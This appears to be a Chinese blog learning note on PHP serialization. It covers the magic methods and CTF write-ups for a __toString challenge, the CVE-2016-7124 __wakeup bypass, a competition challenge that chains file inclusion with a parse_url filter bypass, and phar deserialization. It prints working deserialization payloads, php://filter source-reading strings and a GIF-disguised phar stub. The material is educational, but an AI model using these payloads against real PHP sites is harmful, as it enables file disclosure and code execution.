PHP 序列化学习

0x00前言

最近事件有点安排不过来呀,又是DiDi,又是西湖论剑,又要准备国赛,所以学习的东西发的晚一点。由于自己是一个python型的web狗,所以php对我来说就是一个陌生的语言,自己对与不懂得一定要去补上

0x01serialize与unserialize

php使用serializeunserialize两个函数来进行序列化和反序列化,相当于python的pickle模块包。最基本的序列化函数如下

<?php
 class serialize_test
 {
 	private $name = 'christa';
 	public $url = 'https://christa.top';
 }

 $to_serilaize = new serilaize_test;
 $data = serialize($to_serilaize);
 echo $data;
 ?>

得到序列话后的字符串

O:14:"serilaize_test":2:{s:20:" serilaize_test name";s:7:"christa";s:3:"url";s:11:"christa.top";}

其中O:14:"serilaize_test" 表示Object对象,14个字符,serilaize_test,:2为对象属性个数为2,{}里面为属性字符数:属性值,其反序列化代码为

<?php
$data = 'O:14:"serilaize_test":2:{s:20:" serilaize_test name";s:7:"christa";s:3:"url";s:11:"christa.top";}';
 $data2 = unserialize($data);
var_dump($data2);
 ?>

结果为

object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(14) "serilaize_test"
  [" serilaize_test name"]=>
  string(7) "christa"
  ["url"]=>
  string(11) "christa.top"
}

0x02 PHP中的魔术函数

__sleep()

运行serilaize()函数时会检查是否存在魔术函数方法__sleep()。如果存在,该方法则会先被调用,然后才执行序列化操作,此功能用于清理对象该方法常用于提交未提交的的数据,或类似的清理操作。

__wakeup()

在进行unserialize()时,会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup()方法,预先准备对象需要资源。

__toString()

使用方法 public __toString ( void ) : string

__construct()

当一个对象创建时被调用

__destruct()

当一个对象销毁时被调用

该方法用于一个类被当成字符串时候进行的返回的信息。

代码如下

<?php 
class Test{
    public function __construct($ID){
        $this->ID = $ID;
        $this->info = sprintf("This is ID %s\n",$ID);
    }


    public function __toString(){
        return "__toString function\n";
    }

    public function __sleep(){
        echo __METHOD__ . "\n";
        echo "sleep function has been execute!\n";
        return array($this->ID);
    }
    #__sleep函数的hi用

    public function __wakeup(){
        echo __METHOD__ . "\n";
        echo "wakeup fucntion has been execute\n";
    }
    # __wakeup函数使用

}


$m = new Test('christa');

$temp = serialize($m);
echo $temp . "\n";

$m = unserialize($temp);
echo $m;


?>

其结果为

Test::__sleep
sleep function has been execute!
O:4:"Test":1:{s:7:"christa";N;}
Test::__wakeup
wakeup fucntion has been execute
__toString function

首先看看toString的序列化漏洞,看一道bugku的题目,能达到题目,F12大法看到源码

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

构造一下源码,使用php伪协议构造一下

解码得到

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

再读一读index.php

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

toString序列化漏洞,那么写出exploit代码

<?php 
class Flag{
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    } 

}

$a = new Flag();
$a->file = 'flag.php';
$m = serialize($a);
echo $m;


?>

将运行后的结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}输入到参数password中,即可得到flag{php_is_the_best_language}

0x03  CVE-2016-7124

在php版本为PHP5 < 5.6.25或PHP7 < 7.0.10时,当序列化中表示对象属性个数的值大于真实的属性个数时会跳过weakup的执行,试试如下代码

 

在一个序列化中

O:14:"serilaize_test":2:{s:20:"\00serilaize_test\00name";s:7:"christa";s:3:"url";s:11:"christa.top";} 

则设置属性值大于原来的值既可以绕过wakeup函数,构造payload

O:14:"serilaize_test":5:{s:20:"\00serilaize_test\00name";s:7:"christa";s:3:"url";s:11:"christa.top";} 

顺便学一学php各种打印姿势

echo()
可以一次输出多个值,多个值之间用逗号分隔。echo是语言结构(language construct),而并不是真正的函数,因此不能作为表达式的一部分使用。

print()
print()输出字符串。print() 实际上不是一个函数(它是一个语言结构)所以不能被可变函数调用,因此你可以不必使用圆括号来括起它的参数列表。

print_r()
可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印"\n"。因此用var_dump()函数更适合调试。

var_dump()
判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型。此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

0x04 session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化,php.ini有如下几个参数

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php

其存储机制是使用文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值,从代码中来看

<?php
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['id'] = 'christa';
?>

得到的文件和内容如下

a:1:{s:2:"id";s:7:"christa";}

就拿刚刚结束的国赛第一天web1来说吧,打开主页,源码中存在hint

直接使用文件包含漏洞获得源码

payload:file=php://filter/read=convert.base64-encode/resource=hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}

再读一读源码

<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->

很简单,就是构造反序列化的文件读取flag,使用CVE来绕过__weakup方法,写出脚本

<?php
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
        $this->token = &$this->token_flag;
        $this->token = NULL;
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}


$app = new Handle(new Flag('/flag'));
$m = serialize($app);
print_r($m."\n");


?>

构造出payload

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}} 

注意Handle里面的handle是私有变量,因此需要特殊处理,将0x00换成%00,之后传入,将token为NULL值N;。同时因为parse_url函数,同时又有regex正则匹配,因此只需要在url后面的位置加上///既可以使parse_url解析参数为false,即可以绕过正则,最终payload为

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}} 

得到flag

不多说了,太菜了

 

0x05 phar 反序列化

在2018年8月份的Black Hat大会上,安全研究员Sam Thoms分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

phar文件格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容无所谓,主要以 __HALT_COMPILER();?>结尾,否则会导致无法识别为phar文件,来测试一下,将php.ini中phar.readonly选项设置为Off,否则无法生成phar文件,首先看代码

<?php
    class PharObject {
    	public $id;
    	public function __wakeup(){
    		$this->id='christa';
    		print_r($this->id);
    	}
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new PharObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("pharss.txt", "pha"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

生成phar.phar文件,可以看见为序列化储存

php大部分文件系统函数通过phar://协议解析phar文件,受影响的函数在paper中给出,通过代码既可以使用反序列化

<?php 
    class PharObject {
        public $id;
        public function __wakeup(){
    		$this->id='christa';
    		print_r($this->id);
    	}
    }

    $filename = 'phar://phar.phar/pharss.txt';
    file_get_contents($filename); 
?>	

成功执行反序列化,我们也可以将phar未造成其他的类型的流

<?php
    class PharObject {
    	public $id;
    	public function __wakeup(){
    		$this->id='christa';
    		print_r($this->id);
    	}
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new PharObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("pharss.txt", "pha"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>


Reference